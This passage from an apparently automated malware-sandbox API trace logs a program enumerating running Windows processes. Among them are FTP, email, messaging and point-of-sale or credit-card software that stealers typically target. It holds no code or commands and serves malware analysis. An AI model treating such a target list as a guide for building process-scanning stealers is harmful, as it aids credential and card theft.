cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0141.997] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0141.999] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0142.000] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0142.002] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0142.003] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0142.005] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0142.007] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0142.008] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0142.010] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0142.012] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0142.013] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0142.019] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0142.022] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0142.024] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0142.027] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0142.030] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0142.057] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0142.059] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0142.062] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0142.065] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0142.067] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0142.069] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0142.072] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0142.074] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0142.076] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0142.078] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0142.080] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0142.082] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0142.085] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0142.089] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0142.091] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0142.094] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0142.096] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0142.099] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0142.101] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0142.103] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0142.105] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0142.107] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0142.110] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0142.111] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0142.114] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thank_side_fire.exe")) returned 1 [0142.116] CloseHandle (hObject=0x144) returned 1 [0142.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0xc50) returned 0x144 [0142.127] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.128] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.130] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.134] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.135] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.137] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.139] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.140] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.142] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.144] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0142.145] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.147] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.149] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.150] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.152] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.153] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.155] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.157] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.159] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.261] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0142.385] SwitchToThread () returned 1 [0142.479] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.481] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.482] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0142.483] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0142.485] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.486] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.487] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.488] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0142.489] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.490] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0142.492] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0142.505] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0142.506] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0142.507] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0142.508] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0142.522] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0142.523] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0142.524] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0142.544] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0142.545] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0142.546] Process32NextW (in: hSnapshot=0x144, 